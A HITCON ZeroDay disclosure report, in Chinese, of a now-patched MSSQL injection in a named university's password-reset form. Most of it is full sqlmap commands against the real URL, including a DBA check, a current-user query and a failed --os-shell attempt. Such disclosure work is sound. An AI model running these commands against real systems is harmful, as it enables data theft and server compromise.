育達科技大學 SQL注入 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-01065
  •  發信 Vendor: MSSQL注入
  • Title: 育達科技大學 SQL注入
  • Introduction: MSSQL注入漏洞

處理狀態

目前狀態

公開
Last Update : 2026/09/08
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2026/08/22 07:33:40 : 新提交 (由 桃園怪人協會幹部之一 更新此狀態)
  • 2026/08/22 07:52:17 : 新提交 (由 桃園怪人協會幹部之一 更新此狀態)
  • 2026/08/22 08:15:43 : 新提交 (由 桃園怪人協會幹部之一 更新此狀態)
  • 2026/08/28 03:59:37 : 新提交 (由 桃園怪人協會幹部之一 更新此狀態)
  • 2026/08/28 04:06:32 : 新提交 (由 桃園怪人協會幹部之一 更新此狀態)
  • 2026/08/28 18:12:27 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/08/31 17:30:09 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/08/31 17:30:09 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/08/31 17:30:10 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/09/04 12:59:11 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2026/09/05 01:58:59 : 確認已修補 (由 桃園怪人協會幹部之一 更新此狀態)
  • 2026/09/08 03:00:06 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料（包含大量使用者個資或敏感性資料），同時也有機會對資料進行破壞或修改。

漏洞說明： OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明： OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明： CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式： OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)

相關網址

https://cp.ydu.edu.tw/restpassword/

敘述

查 DBA(是)

sqlmap -u "https://cp.ydu.edu.tw/restpassword/" \
  --data "RadStyleSheetManager1_TSSM=%3BTelerik.Web.UI%2C+Version%3D2018.1.117.45%2C+Culture%3Dneutral%2C+PublicKeyToken%3D121fae78165ba3d4%3Azh-TW%3A6d514cb9-2739-4112-a25a-b6efc64747ba%3A505983de%3Ad7e35272%3A959c7879%3BTelerik.Web.UI.Skins%2C+Version%3D2018.1.117.45%2C+Culture%3Dneutral%2C+PublicKeyToken%3D121fae78165ba3d4%3Azh-TW%3Ac00529f8-d49c-4c69-959c-ada0480fdba2%3Ab3bf1c40&RadScriptManager1_TSM=%3B%3BSystem.Web.Extensions%2C+Version%3D4.0.0.0%2C+Culture%3Dneutral%2C+PublicKeyToken%3D31bf3856ad364e35%3Azh-TW%3Ad20f15a2-81e5-4f24-80b9-9fe501a4ce09%3Aea597d4b%3Ab25378d2%3BTelerik.Web.UI%3Azh-TW%3A6d514cb9-2739-4112-a25a-b6efc64747ba%3A16e4e7cd%3Af7645509%3A22a6274a%3Aed16cbdc%3A33715776%3Ab7778d6c&__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=yXf0g6S6a7OSKMu4CgcGnqNjotWzDL%2FI2htL%2FWDalU5a6mLR98oQC3aZXNRKoF1ROZPZnsPqgP7HavUwjZ9pUqKcGuLPH%2F75OrDUh%2BmpPcnsi%2FemDJPRbmrzSeppduIIHxUg2LWGY7azJDHEIgEkojaQKeQRIUtLi22aTv9L71O4FqFnXwNRl3lGqsG9qDW2BGPHTlQU8auInRXFYB9VOJ9Ad5s3hdJLXCY%2F4V0bkacqT6JUckyL5bAQHAfVrp0eUZr8EN%2Ff%2BV3lw7hj7OwsWfxMv4BWIDvICIEbXNmLrIyFJL%2Fp2CzVyzSRw0MugFRJUGTvZ59ko7bS%2B6usdonaj%2FERt5QeiLjnE9IqEI9WrLC%2FaQQCbvpxycPb%2B1yCjbP6NzBqeWmj6w1pZ%2FAW4HIEsC2Xd4p%2Babjf8ulZyj1q3PI%2BokgxLYb85aojTwZOx77L6Kz7iUG7TRmEkbUntYDj023e4n%2FI%2FFPOMuis8bPK1%2Fc9L38GoUfEccdDvuFLmkc7BeUz4Jq5Y3x%2B0uyiHnN8Ea8Ic3Yg0QLWqBesmAfjT4eFnnJuD1rj7%2FcMiVpYd7ZEPwyiRHe4GGcjNQFa11LKvkrsigwm3NcAVINiIZ5qkNSFXYLNGq1Li1u4lcOcDCFfTysqAw49kuZwnVOfuPKIzzOGmhFFLX87x%2B7nKU6TRwz4qjfralNuwtKk1X1yp0cKswBkb15Hoyl5iOKsNit%2B3CI98S4jp7rgCldei2ng3%2Bdby4CowBEGcKlqtIvL0O5jr4bDtH%2FDnJJyn2fOQ%2BT%2BolDu%2FDwBil1cFHos98TPBU%2B%2BlvxxxlblzTwdMYt0kJSIopdFYxu8ka0T8nt11Xrcwvv1jxYag1B86ar3%2BVi2K%2FJED2ZYRCPt5ciyDdAiscxA5esgEBBf0nOnNU1ZY1hw7vudYQz8TgQY3PCMqbOdJcgT%2FVHpG7Dmr10jGgqTX%2B9AF%2BbREuR7ZT5aoNWG9v4qyR%2FHQxEcRwLMSuIejcjT6j2ZSkf71%2FtNXO6yyspWjWaoWhPN%2Fw7MWYqgVzGk%2Fmw1A5sSE%2FTD%2BOlArqfnKzAcUriMtwn5ZxTxSNewWmqfw%2F0uW%2BprvnaXihTzh1mQUQh5e%2BsU4LXfAdECMqoigvhKlvLobmgDl%2F3pF2uMzIVrd5t7CH5mhL5n4Dx0g7x0ZAJ14Jxp0eVhZeGdBMny6M2kmyTn90UA9DjMQtIFsJ%2FXQukUWy3HwkMAH0DtoqxWTbHWzYE%2FArxv0cnBCG7TGfwJ92EAq1xvPbJ5x0M8%2BQK5pdK%2B72pNCpohT2ixxjEbYW6JQYS5MEWdFD9EciDaq25ZczS26VOIr5%2Bx1iL0W1IXU5JfIul8e0BVcXzrJmMF0Lxe8iHq%2FYY4JP19sDFWeiwZ6kx9JFi2BJGp6WIGX%2FwrsEXbCCRBnd60ZT3Jprh6Ld7xQeJUSsoWYQu8iCipNIJRjndLb%2FDqOVW7%2BfNqmpikrZ60PqnIdkwIMd9eQan3%2B1N2svFTl1kQr7xMTwBM7vGNqAwrFYqpNelf7gBysSU84NHBthCi7tgVyqJW%2BVg%2F7QmFrnxM3u0I78RZODv%2Bd1fagq4LGuNt59iZ676LkRSC2rXuiGarNygZMFVa2X1VD8JSd6khoZ5e7sruj%2BhbeXMmpJ9EoaViffaUPIt0ORmzBVYEpDZga3dERswn9k7wbVW5Wu%2B4VyoZw44CWwItfqfKDk0WTKs6L5fL8qSctzMNjOTnwWH2Tgn9xj5io%2F8va8mpkv6L8EGWmV6KGdjLFpDoAcyaE3L8SetzPyPm7mmLF0wQCIiVicLEVoTmf469mtqmDJ6LoilrbUlhOfjMRrCMBExc5ZMQ5oLgOlSDVqIRerW7immBvkU0%2BIWPx6Hykkaghspv38HaoKdaHXUkz4sj1ZqBf7IN6y3%2F8M3ATeFCVKwZAMTE%2FJ547oPncYGqmPSfRZ6tp03Gom3v456bExqIKjDPxf0IoRQEWmwAwBWMmBuQn6MbY3fQzxUfUOHRbAc%2F4uPVX%2BqaaEZSGohN8KPWNS55RSra4P%2BD18byan5YW%2BJyauhjs6XxOTmoTW2ZnjpPY4xQSIi30%2FsDjLRlk5pcWq9Jb3ne8H7IFEnrHCgWc8h8YCKlSI0Ldn1az8Q5S7K9KCgMrnuQt6AsYsCHkP05NQKHBLTPT5YL1Rzg%2BZipoZJ%2B2JF5%2F93QY21JqIgta5tZ%2BWn%2BrtOKK7SGw5NOSF6rCLM%3D&__VIEWSTATEGENERATOR=9A778F7E&__EVENTVALIDATION=tsNDqv%2FeNw8%2B9QUcxIW2Y39tGybg0IeSQVzZKBMZ81i8Qov7L9eGbjaUYQQr0YX9jLEbeFEEbM1Q0FPUCL313aL30vXMApsBzqSBAv3XhsNv5WcoN%2FQALzXQK0oNj9KmCjSAdoEPexnBZ0tIJu%2FYDGVPysR4riEH9AD6qzIi9DzMmWOeGDMf3cTxaPxWm07V&RadTextBox1=sadasd&RadTextBox1_ClientState=%7B%22enabled%22%3Atrue%2C%22emptyMessage%22%3A%22%E5%B8%B3%E8%99%9F%E3%80%81%E5%AD%B8%E8%99%9F%22%2C%22validationText%22%3A%22sadasd%22%2C%22valueAsString%22%3A%22sadasd%22%2C%22lastSetTextBoxValue%22%3A%22sadasd%22%7D&RadTextBox2=025416&RadTextBox2_ClientState=%7B%22enabled%22%3Atrue%2C%22emptyMessage%22%3A%22%E8%BA%AB%E5%88%86%E5%AD%97%E8%99%9F%E3%80%81%E8%AD%B7%E7%85%A7%28%E5%BE%8C%E5%85%AD%E7%A2%BC%29%22%2C%22validationText%22%3A%22025416%22%2C%22valueAsString%22%3A%22025416%22%2C%22lastSetTextBoxValue%22%3A%22025416%22%7D&RadTextBox3=244382&RadTextBox3_ClientState=%7B%22enabled%22%3Atrue%2C%22emptyMessage%22%3A%22%E9%A9%97%E8%AD%89%E7%A2%BC%22%2C%22validationText%22%3A%22244382%22%2C%22valueAsString%22%3A%22244382%22%2C%22lastSetTextBoxValue%22%3A%22244382%22%7D&btn_submit=%E9%80%81%E5%87%BA" \
  --dbms="Microsoft SQL Server" \
  --technique=S \
  --tamper=space2comment \
  --batch \
  --is-dba

查用戶(ydu_student_ap)  修改追加指定  -p RadTextBox1 參數

sqlmap -u "https://cp.ydu.edu.tw/restpassword/" \
  --data "RadStyleSheetManager1_TSSM=%3BTelerik.Web.UI%2C+Version%3D2018.1.117.45%2C+Culture%3Dneutral%2C+PublicKeyToken%3D121fae78165ba3d4%3Azh-TW%3A6d514cb9-2739-4112-a25a-b6efc64747ba%3A505983de%3Ad7e35272%3A959c7879%3BTelerik.Web.UI.Skins%2C+Version%3D2018.1.117.45%2C+Culture%3Dneutral%2C+PublicKeyToken%3D121fae78165ba3d4%3Azh-TW%3Ac00529f8-d49c-4c69-959c-ada0480fdba2%3Ab3bf1c40&RadScriptManager1_TSM=%3B%3BSystem.Web.Extensions%2C+Version%3D4.0.0.0%2C+Culture%3Dneutral%2C+PublicKeyToken%3D31bf3856ad364e35%3Azh-TW%3Ad20f15a2-81e5-4f24-80b9-9fe501a4ce09%3Aea597d4b%3Ab25378d2%3BTelerik.Web.UI%3Azh-TW%3A6d514cb9-2739-4112-a25a-b6efc64747ba%3A16e4e7cd%3Af7645509%3A22a6274a%3Aed16cbdc%3A33715776%3Ab7778d6c&__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=yXf0g6S6a7OSKMu4CgcGnqNjotWzDL%2FI2htL%2FWDalU5a6mLR98oQC3aZXNRKoF1ROZPZnsPqgP7HavUwjZ9pUqKcGuLPH%2F75OrDUh%2BmpPcnsi%2FemDJPRbmrzSeppduIIHxUg2LWGY7azJDHEIgEkojaQKeQRIUtLi22aTv9L71O4FqFnXwNRl3lGqsG9qDW2BGPHTlQU8auInRXFYB9VOJ9Ad5s3hdJLXCY%2F4V0bkacqT6JUckyL5bAQHAfVrp0eUZr8EN%2Ff%2BV3lw7hj7OwsWfxMv4BWIDvICIEbXNmLrIyFJL%2Fp2CzVyzSRw0MugFRJUGTvZ59ko7bS%2B6usdonaj%2FERt5QeiLjnE9IqEI9WrLC%2FaQQCbvpxycPb%2B1yCjbP6NzBqeWmj6w1pZ%2FAW4HIEsC2Xd4p%2Babjf8ulZyj1q3PI%2BokgxLYb85aojTwZOx77L6Kz7iUG7TRmEkbUntYDj023e4n%2FI%2FFPOMuis8bPK1%2Fc9L38GoUfEccdDvuFLmkc7BeUz4Jq5Y3x%2B0uyiHnN8Ea8Ic3Yg0QLWqBesmAfjT4eFnnJuD1rj7%2FcMiVpYd7ZEPwyiRHe4GGcjNQFa11LKvkrsigwm3NcAVINiIZ5qkNSFXYLNGq1Li1u4lcOcDCFfTysqAw49kuZwnVOfuPKIzzOGmhFFLX87x%2B7nKU6TRwz4qjfralNuwtKk1X1yp0cKswBkb15Hoyl5iOKsNit%2B3CI98S4jp7rgCldei2ng3%2Bdby4CowBEGcKlqtIvL0O5jr4bDtH%2FDnJJyn2fOQ%2BT%2BolDu%2FDwBil1cFHos98TPBU%2B%2BlvxxxlblzTwdMYt0kJSIopdFYxu8ka0T8nt11Xrcwvv1jxYag1B86ar3%2BVi2K%2FJED2ZYRCPt5ciyDdAiscxA5esgEBBf0nOnNU1ZY1hw7vudYQz8TgQY3PCMqbOdJcgT%2FVHpG7Dmr10jGgqTX%2B9AF%2BbREuR7ZT5aoNWG9v4qyR%2FHQxEcRwLMSuIejcjT6j2ZSkf71%2FtNXO6yyspWjWaoWhPN%2Fw7MWYqgVzGk%2Fmw1A5sSE%2FTD%2BOlArqfnKzAcUriMtwn5ZxTxSNewWmqfw%2F0uW%2BprvnaXihTzh1mQUQh5e%2BsU4LXfAdECMqoigvhKlvLobmgDl%2F3pF2uMzIVrd5t7CH5mhL5n4Dx0g7x0ZAJ14Jxp0eVhZeGdBMny6M2kmyTn90UA9DjMQtIFsJ%2FXQukUWy3HwkMAH0DtoqxWTbHWzYE%2FArxv0cnBCG7TGfwJ92EAq1xvPbJ5x0M8%2BQK5pdK%2B72pNCpohT2ixxjEbYW6JQYS5MEWdFD9EciDaq25ZczS26VOIr5%2Bx1iL0W1IXU5JfIul8e0BVcXzrJmMF0Lxe8iHq%2FYY4JP19sDFWeiwZ6kx9JFi2BJGp6WIGX%2FwrsEXbCCRBnd60ZT3Jprh6Ld7xQeJUSsoWYQu8iCipNIJRjndLb%2FDqOVW7%2BfNqmpikrZ60PqnIdkwIMd9eQan3%2B1N2svFTl1kQr7xMTwBM7vGNqAwrFYqpNelf7gBysSU84NHBthCi7tgVyqJW%2BVg%2F7QmFrnxM3u0I78RZODv%2Bd1fagq4LGuNt59iZ676LkRSC2rXuiGarNygZMFVa2X1VD8JSd6khoZ5e7sruj%2BhbeXMmpJ9EoaViffaUPIt0ORmzBVYEpDZga3dERswn9k7wbVW5Wu%2B4VyoZw44CWwItfqfKDk0WTKs6L5fL8qSctzMNjOTnwWH2Tgn9xj5io%2F8va8mpkv6L8EGWmV6KGdjLFpDoAcyaE3L8SetzPyPm7mmLF0wQCIiVicLEVoTmf469mtqmDJ6LoilrbUlhOfjMRrCMBExc5ZMQ5oLgOlSDVqIRerW7immBvkU0%2BIWPx6Hykkaghspv38HaoKdaHXUkz4sj1ZqBf7IN6y3%2F8M3ATeFCVKwZAMTE%2FJ547oPncYGqmPSfRZ6tp03Gom3v456bExqIKjDPxf0IoRQEWmwAwBWMmBuQn6MbY3fQzxUfUOHRbAc%2F4uPVX%2BqaaEZSGohN8KPWNS55RSra4P%2BD18byan5YW%2BJyauhjs6XxOTmoTW2ZnjpPY4xQSIi30%2FsDjLRlk5pcWq9Jb3ne8H7IFEnrHCgWc8h8YCKlSI0Ldn1az8Q5S7K9KCgMrnuQt6AsYsCHkP05NQKHBLTPT5YL1Rzg%2BZipoZJ%2B2JF5%2F93QY21JqIgta5tZ%2BWn%2BrtOKK7SGw5NOSF6rCLM%3D&__VIEWSTATEGENERATOR=9A778F7E&__EVENTVALIDATION=tsNDqv%2FeNw8%2B9QUcxIW2Y39tGybg0IeSQVzZKBMZ81i8Qov7L9eGbjaUYQQr0YX9jLEbeFEEbM1Q0FPUCL313aL30vXMApsBzqSBAv3XhsNv5WcoN%2FQALzXQK0oNj9KmCjSAdoEPexnBZ0tIJu%2FYDGVPysR4riEH9AD6qzIi9DzMmWOeGDMf3cTxaPxWm07V&RadTextBox1=sadasd&RadTextBox1_ClientState=%7B%22enabled%22%3Atrue%2C%22emptyMessage%22%3A%22%E5%B8%B3%E8%99%9F%E3%80%81%E5%AD%B8%E8%99%9F%22%2C%22validationText%22%3A%22sadasd%22%2C%22valueAsString%22%3A%22sadasd%22%2C%22lastSetTextBoxValue%22%3A%22sadasd%22%7D&RadTextBox2=025416&RadTextBox2_ClientState=%7B%22enabled%22%3Atrue%2C%22emptyMessage%22%3A%22%E8%BA%AB%E5%88%86%E5%AD%97%E8%99%9F%E3%80%81%E8%AD%B7%E7%85%A7%28%E5%BE%8C%E5%85%AD%E7%A2%BC%29%22%2C%22validationText%22%3A%22025416%22%2C%22valueAsString%22%3A%22025416%22%2C%22lastSetTextBoxValue%22%3A%22025416%22%7D&RadTextBox3=244382&RadTextBox3_ClientState=%7B%22enabled%22%3Atrue%2C%22emptyMessage%22%3A%22%E9%A9%97%E8%AD%89%E7%A2%BC%22%2C%22validationText%22%3A%22244382%22%2C%22valueAsString%22%3A%22244382%22%2C%22lastSetTextBoxValue%22%3A%22244382%22%7D&btn_submit=%E9%80%81%E5%87%BA" \
  --dbms="Microsoft SQL Server" \
  --technique=S \
  --tamper=space2comment \
  --batch \
  --current-user \
  -p RadTextBox1

測試RCE (失敗)

sqlmap -u "https://cp.ydu.edu.tw/restpassword/" \
  --data "RadStyleSheetManager1_TSSM=%3BTelerik.Web.UI%2C+Version%3D2018.1.117.45%2C+Culture%3Dneutral%2C+PublicKeyToken%3D121fae78165ba3d4%3Azh-TW%3A6d514cb9-2739-4112-a25a-b6efc64747ba%3A505983de%3Ad7e35272%3A959c7879%3BTelerik.Web.UI.Skins%2C+Version%3D2018.1.117.45%2C+Culture%3Dneutral%2C+PublicKeyToken%3D121fae78165ba3d4%3Azh-TW%3Ac00529f8-d49c-4c69-959c-ada0480fdba2%3Ab3bf1c40&RadScriptManager1_TSM=%3B%3BSystem.Web.Extensions%2C+Version%3D4.0.0.0%2C+Culture%3Dneutral%2C+PublicKeyToken%3D31bf3856ad364e35%3Azh-TW%3Ad20f15a2-81e5-4f24-80b9-9fe501a4ce09%3Aea597d4b%3Ab25378d2%3BTelerik.Web.UI%3Azh-TW%3A6d514cb9-2739-4112-a25a-b6efc64747ba%3A16e4e7cd%3Af7645509%3A22a6274a%3Aed16cbdc%3A33715776%3Ab7778d6c&__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=yXf0g6S6a7OSKMu4CgcGnqNjotWzDL%2FI2htL%2FWDalU5a6mLR98oQC3aZXNRKoF1ROZPZnsPqgP7HavUwjZ9pUqKcGuLPH%2F75OrDUh%2BmpPcnsi%2FemDJPRbmrzSeppduIIHxUg2LWGY7azJDHEIgEkojaQKeQRIUtLi22aTv9L71O4FqFnXwNRl3lGqsG9qDW2BGPHTlQU8auInRXFYB9VOJ9Ad5s3hdJLXCY%2F4V0bkacqT6JUckyL5bAQHAfVrp0eUZr8EN%2Ff%2BV3lw7hj7OwsWfxMv4BWIDvICIEbXNmLrIyFJL%2Fp2CzVyzSRw0MugFRJUGTvZ59ko7bS%2B6usdonaj%2FERt5QeiLjnE9IqEI9WrLC%2FaQQCbvpxycPb%2B1yCjbP6NzBqeWmj6w1pZ%2FAW4HIEsC2Xd4p%2Babjf8ulZyj1q3PI%2BokgxLYb85aojTwZOx77L6Kz7iUG7TRmEkbUntYDj023e4n%2FI%2FFPOMuis8bPK1%2Fc9L38GoUfEccdDvuFLmkc7BeUz4Jq5Y3x%2B0uyiHnN8Ea8Ic3Yg0QLWqBesmAfjT4eFnnJuD1rj7%2FcMiVpYd7ZEPwyiRHe4GGcjNQFa11LKvkrsigwm3NcAVINiIZ5qkNSFXYLNGq1Li1u4lcOcDCFfTysqAw49kuZwnVOfuPKIzzOGmhFFLX87x%2B7nKU6TRwz4qjfralNuwtKk1X1yp0cKswBkb15Hoyl5iOKsNit%2B3CI98S4jp7rgCldei2ng3%2Bdby4CowBEGcKlqtIvL0O5jr4bDtH%2FDnJJyn2fOQ%2BT%2BolDu%2FDwBil1cFHos98TPBU%2B%2BlvxxxlblzTwdMYt0kJSIopdFYxu8ka0T8nt11Xrcwvv1jxYag1B86ar3%2BVi2K%2FJED2ZYRCPt5ciyDdAiscxA5esgEBBf0nOnNU1ZY1hw7vudYQz8TgQY3PCMqbOdJcgT%2FVHpG7Dmr10jGgqTX%2B9AF%2BbREuR7ZT5aoNWG9v4qyR%2FHQxEcRwLMSuIejcjT6j2ZSkf71%2FtNXO6yyspWjWaoWhPN%2Fw7MWYqgVzGk%2Fmw1A5sSE%2FTD%2BOlArqfnKzAcUriMtwn5ZxTxSNewWmqfw%2F0uW%2BprvnaXihTzh1mQUQh5e%2BsU4LXfAdECMqoigvhKlvLobmgDl%2F3pF2uMzIVrd5t7CH5mhL5n4Dx0g7x0ZAJ14Jxp0eVhZeGdBMny6M2kmyTn90UA9DjMQtIFsJ%2FXQukUWy3HwkMAH0DtoqxWTbHWzYE%2FArxv0cnBCG7TGfwJ92EAq1xvPbJ5x0M8%2BQK5pdK%2B72pNCpohT2ixxjEbYW6JQYS5MEWdFD9EciDaq25ZczS26VOIr5%2Bx1iL0W1IXU5JfIul8e0BVcXzrJmMF0Lxe8iHq%2FYY4JP19sDFWeiwZ6kx9JFi2BJGp6WIGX%2FwrsEXbCCRBnd60ZT3Jprh6Ld7xQeJUSsoWYQu8iCipNIJRjndLb%2FDqOVW7%2BfNqmpikrZ60PqnIdkwIMd9eQan3%2B1N2svFTl1kQr7xMTwBM7vGNqAwrFYqpNelf7gBysSU84NHBthCi7tgVyqJW%2BVg%2F7QmFrnxM3u0I78RZODv%2Bd1fagq4LGuNt59iZ676LkRSC2rXuiGarNygZMFVa2X1VD8JSd6khoZ5e7sruj%2BhbeXMmpJ9EoaViffaUPIt0ORmzBVYEpDZga3dERswn9k7wbVW5Wu%2B4VyoZw44CWwItfqfKDk0WTKs6L5fL8qSctzMNjOTnwWH2Tgn9xj5io%2F8va8mpkv6L8EGWmV6KGdjLFpDoAcyaE3L8SetzPyPm7mmLF0wQCIiVicLEVoTmf469mtqmDJ6LoilrbUlhOfjMRrCMBExc5ZMQ5oLgOlSDVqIRerW7immBvkU0%2BIWPx6Hykkaghspv38HaoKdaHXUkz4sj1ZqBf7IN6y3%2F8M3ATeFCVKwZAMTE%2FJ547oPncYGqmPSfRZ6tp03Gom3v456bExqIKjDPxf0IoRQEWmwAwBWMmBuQn6MbY3fQzxUfUOHRbAc%2F4uPVX%2BqaaEZSGohN8KPWNS55RSra4P%2BD18byan5YW%2BJyauhjs6XxOTmoTW2ZnjpPY4xQSIi30%2FsDjLRlk5pcWq9Jb3ne8H7IFEnrHCgWc8h8YCKlSI0Ldn1az8Q5S7K9KCgMrnuQt6AsYsCHkP05NQKHBLTPT5YL1Rzg%2BZipoZJ%2B2JF5%2F93QY21JqIgta5tZ%2BWn%2BrtOKK7SGw5NOSF6rCLM%3D&__VIEWSTATEGENERATOR=9A778F7E&__EVENTVALIDATION=tsNDqv%2FeNw8%2B9QUcxIW2Y39tGybg0IeSQVzZKBMZ81i8Qov7L9eGbjaUYQQr0YX9jLEbeFEEbM1Q0FPUCL313aL30vXMApsBzqSBAv3XhsNv5WcoN%2FQALzXQK0oNj9KmCjSAdoEPexnBZ0tIJu%2FYDGVPysR4riEH9AD6qzIi9DzMmWOeGDMf3cTxaPxWm07V&RadTextBox1=sadasd&RadTextBox1_ClientState=%7B%22enabled%22%3Atrue%2C%22emptyMessage%22%3A%22%E5%B8%B3%E8%99%9F%E3%80%81%E5%AD%B8%E8%99%9F%22%2C%22validationText%22%3A%22sadasd%22%2C%22valueAsString%22%3A%22sadasd%22%2C%22lastSetTextBoxValue%22%3A%22sadasd%22%7D&RadTextBox2=025416&RadTextBox2_ClientState=%7B%22enabled%22%3Atrue%2C%22emptyMessage%22%3A%22%E8%BA%AB%E5%88%86%E5%AD%97%E8%99%9F%E3%80%81%E8%AD%B7%E7%85%A7%28%E5%BE%8C%E5%85%AD%E7%A2%BC%29%22%2C%22validationText%22%3A%22025416%22%2C%22valueAsString%22%3A%22025416%22%2C%22lastSetTextBoxValue%22%3A%22025416%22%7D&RadTextBox3=244382&RadTextBox3_ClientState=%7B%22enabled%22%3Atrue%2C%22emptyMessage%22%3A%22%E9%A9%97%E8%AD%89%E7%A2%BC%22%2C%22validationText%22%3A%22244382%22%2C%22valueAsString%22%3A%22244382%22%2C%22lastSetTextBoxValue%22%3A%22244382%22%7D&btn_submit=%E9%80%81%E5%87%BA" \
  --dbms="Microsoft SQL Server" \
  --technique=S \
  --tamper=space2comment \
  --batch \
  --hex \
  --os-shell

參考https://zeroday.hitcon.org/vulnerability/ZD-2021-00212 幫他測了一把 --os-shell 失敗 只有打出LOG 路徑

isruptions
[07:29:58] [INFO] adjusting time delay to 1 second due to good response times
D:\SQL_DATA\MSSQL10_50.MSSQLSERVER\MSSQL\Log\ERRORLOG
[07:41:45] [INFO] testing if current user is DBA
[07:41:45] [INFO] checking if xp_cmdshell extended procedure is available, please wait..
[07:41:49] [INFO] xp_cmdshell extended procedure is available
[07:41:49] [INFO] testing if xp_cmdshell extended procedure is usable

是RadTextBox1 可注入

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫，討論有關於這個漏洞的相關資訊。
;